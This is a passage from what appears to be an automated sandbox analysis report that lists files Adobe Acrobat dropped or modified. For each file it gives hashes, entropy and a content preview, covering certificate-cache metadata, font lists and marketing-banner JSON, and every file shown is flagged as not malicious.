Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklAziB93/tfllXlE/HT8k4mrXNNX8RolJuRdxLlGB9lQRYwpDdt:kKZziLeT8grdNMa8RdWBwRd
MD5:	E075F9A72E2830C9BEA2AB482C1E6712
SHA1:	DC7FE4B08723CCAF9E6C95ECDDEA4CD3019E3200
SHA-256:	4237BD2E734E81761685FA8991301B4930B104ECD6F2436BF15FCACF6D4E0691
SHA-512:	0E110F0190DFDC990DA19125D07E011CFDC10AB5572AB3F08FE6EFFCA4D12DD571BF1524EEF1F809AA416902F8657770FB9612760B1EE180809E8B36CD1C11B7
Malicious:	false
Preview:	p...... ........s....c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kKRL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:piDImsLNkPlE99SNxAhUe/3
MD5:	F1FB466244C500505031BF14813C65B4
SHA1:	EE1B98EDAAB210D31D2538FD878865FD654B1E40
SHA-256:	A76BD8D2F19DE094535D9BFCD1E6AB93BCFBAE539F446193AA7F87BA7BD5FA79
SHA-512:	8D84A26FAB5DDE130889C6D2EF3ABD0ECF6BAB99953213CD4E563AF3BE09CC6034BCF8D941D6539B654507F453ABE9E278DD1CC9B2B431772EB2BBEB4D3A112B
Malicious:	false
Preview:	p...... ........@.C..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351950059811382
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJM3g98kUwPeUkwRe9:YvXKXuV2BMyYpW7XOGMbLUkee9
MD5:	B66F239BE961E281C232898F5E9226F8
SHA1:	A2920644316AF213D8DC9E33DD179967205ED20F
SHA-256:	64C2652A3BA0209CF8FB766D22DD59A68C6F4B70DF83C5BB19645D4165FE6A37
SHA-512:	B4C100312ACB32B4D01E9800B5C61FC65568468FE2B022D33D2BCFDBA8B65228EAA41427044EE9A7ADCF33F20E67C89593D214B2106B289922BB411B22DA3599
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290237959330724
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfBoTfXpnrPeUkwRe9:YvXKXuV2BMyYpW7XOGWTfXcUkee9
MD5:	8145A59118621AA0AD823BB24BE375DD
SHA1:	AF9070DC73129A6EC6B6587677AE95AB729F383C
SHA-256:	C1DFDB62D5A3F92896695F10F05BAA383E29969F62A60C5ED159775F8ED1DCDF
SHA-512:	D4FB6F618FC8F9CA0A4172B2AB7C267BDE00EC9C120F95914D8FB82C490659D33BF1E0842FE01413D3A07180B50AA57DD4536D05D39A5222E7623B7F72E94379
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.269505753245393
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfBD2G6UpnrPeUkwRe9:YvXKXuV2BMyYpW7XOGR22cUkee9
MD5:	97DE596C534D2FE3702091A8AB5E6E17
SHA1:	F25D14E010B31640846558607FAAE17A319A1052
SHA-256:	14CFAAB7B4C7F8A0D307B3AEDB5F59ACD528175C13D0853543F17E5AF5F0600F
SHA-512:	FE0E0A15816046110F0140D53FF2A80BCCF1533169801953EA4042EAD9521C4941A86F99410CD4114BFD565340E91D2DE04962746B0238B745A7D18318FF5F90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.330442469868624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfPmwrPeUkwRe9:YvXKXuV2BMyYpW7XOGH56Ukee9
MD5:	0C0798381FC4F9868FC3562B7FDBD3CF
SHA1:	CFDD2A89653A7CA753DC3DD283CFACF5CF50D41E
SHA-256:	C1BC9614233F940B044E13BFB4AB1434F2DD7F123D08A0D872B8213B30717A8C
SHA-512:	37D36F0DDA112A2E08941F6F4EB2A1C55BD258681563E4683C17A80ACB4488301BA2B672D6B1D72086A8B0A0DDEE1D08EB7AB0952029C8BAFFB3D021D84015B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691725010717777
Encrypted:	false
SSDEEP:	24:Yv6XuVmwiLpLgE9cQx8LennAvzBvkn0RCmK8czOCCSn:YvH0Lhgy6SAFv5Ah8cv/n
MD5:	1F34F18B142C5E7C1A2C689575F71AFB
SHA1:	1878BA169B0BA0A5978E32DB494D7F6F0319EDEE
SHA-256:	9441C6A2B91DF0100A0891D98DFF0F71D514028ABAAA9127B9B3F05A93E0C5BC
SHA-512:	3029DA6B8A11A5A27C9E077CCF887FC733782197F53BB15376EF71AEFDBAADE844A014B2A448DD2482C426BA4C3EC9CCEA0CFD14E0AE69BDCAF820818C4794C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274799166789889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJf8dPeUkwRe9:YvXKXuV2BMyYpW7XOGU8Ukee9
MD5:	A3C792571641EAFAA8E104B1B1F891CC
SHA1:	B08267D1815F01F5C486DF3B638B2CD94BF11204
SHA-256:	B09F399EBEB40F7928509F9B622FCB8F275F25C1669E51D3CE2D4BEDBF750B53
SHA-512:	5ED47BC0D3A056A38D5ABBBAFC120AB901F75540433CC174BA8C0E2257C50EE7B9251B9F0E668CE9FC55B6F966B5FF14ECEC56BDC902BA38DFBBBA837496C203
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.275447854767695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfQ1rPeUkwRe9:YvXKXuV2BMyYpW7XOGY16Ukee9
MD5:	7C4BA9CB43B2AEC932CA19AD13470FB2
SHA1:	0ED0BA830DB50B9A02FBFFA14FADFD5AEDCDFFFD
SHA-256:	8558BEEFF03334EFD7AC135E042FCC43321370E30A31BA25EECD4A474FA2EEF4
SHA-512:	73D8C277AE36E5815F9C1B37EA25843A8C32568917F7C9E9553658F19B4B03A21DF6E873EEB439BDB6A7A4BA6856C33E715AC595ADF616410AACE6111D036317
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294816188191451
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfFldPeUkwRe9:YvXKXuV2BMyYpW7XOGz8Ukee9
MD5:	19C1CBFCB2D42BB237A96212757CD628
SHA1:	A8F256E4B89BFCAAAB8009D217270E8CBB236320
SHA-256:	F24AEE293330FA1A24E2CAC91AD2FC114BFE75AA62D920510406DA17211FE0DC
SHA-512:	97E333195E66A869B4E7C8DA877A60C3A55B7E4D44AABA359F144CE7C614F8FB11B9B9BFBAA708B02FC044B7FF8901B527DCDC41FC9C56765001B741F246A267
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302004301178738
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfzdPeUkwRe9:YvXKXuV2BMyYpW7XOGb8Ukee9
MD5:	7A402CD9C672A8A46AA2594B858D325D
SHA1:	CCEBFFEE1DF7AD727F5AC7C0C517299A189090CC
SHA-256:	616C2AFEF04EABED2981D489E074DBDFAFFC88E2094EE0B2F96C573A3575FB36
SHA-512:	96A8CE4A029135ED4A381F5204190B6B96A2D2ECACE46572BC2EEEA36463524AA896220DEA39E2073242B27D616E9DDFB2EE7260EB14B55DF571377A7403136A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281993824776338
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfYdPeUkwRe9:YvXKXuV2BMyYpW7XOGg8Ukee9
MD5:	7CAE72FDBBEFFB8FA29764219868832D
SHA1:	667975F2ACF32D8DCCA6EA9847C828F00A3E7290
SHA-256:	9806F3005522242AE45A9C637980FE4FDE1963F5B7F96E400FDCDFBF210D0731
SHA-512:	A8BAC900A8ECC4B01EDE003DC0BE7F7EE968D68CD182E67FCED61DD3D30022DE6CA6CCFE3E493207DFBE9D16D47AF837C1F0A05D9C9D77520591A8BD31CF5CF2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2683085410924955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJf+dPeUkwRe9:YvXKXuV2BMyYpW7XOG28Ukee9
MD5:	D6BBC29599A69BBB0617078574212F7B
SHA1:	4ACAA0C60CE8A27C5E621724EEB3CF4063B32048
SHA-256:	BCE1D1A31F76B24EECEB0A19304965066C273C040BDDFD394F81D4E193BFDF2C
SHA-512:	E0EE19A3AF449C8D504FCCBD41A112472584FC933B4B13F5E97D8AC4B35131106489ED8E9988A2EE2ECF617DAF224BA9CB0FDFC5385071FD0E80324B91508F32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2656646762318084
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfbPtdPeUkwRe9:YvXKXuV2BMyYpW7XOGDV8Ukee9
MD5:	1C1033C51AE87EE1E5F399AD5AE97F51
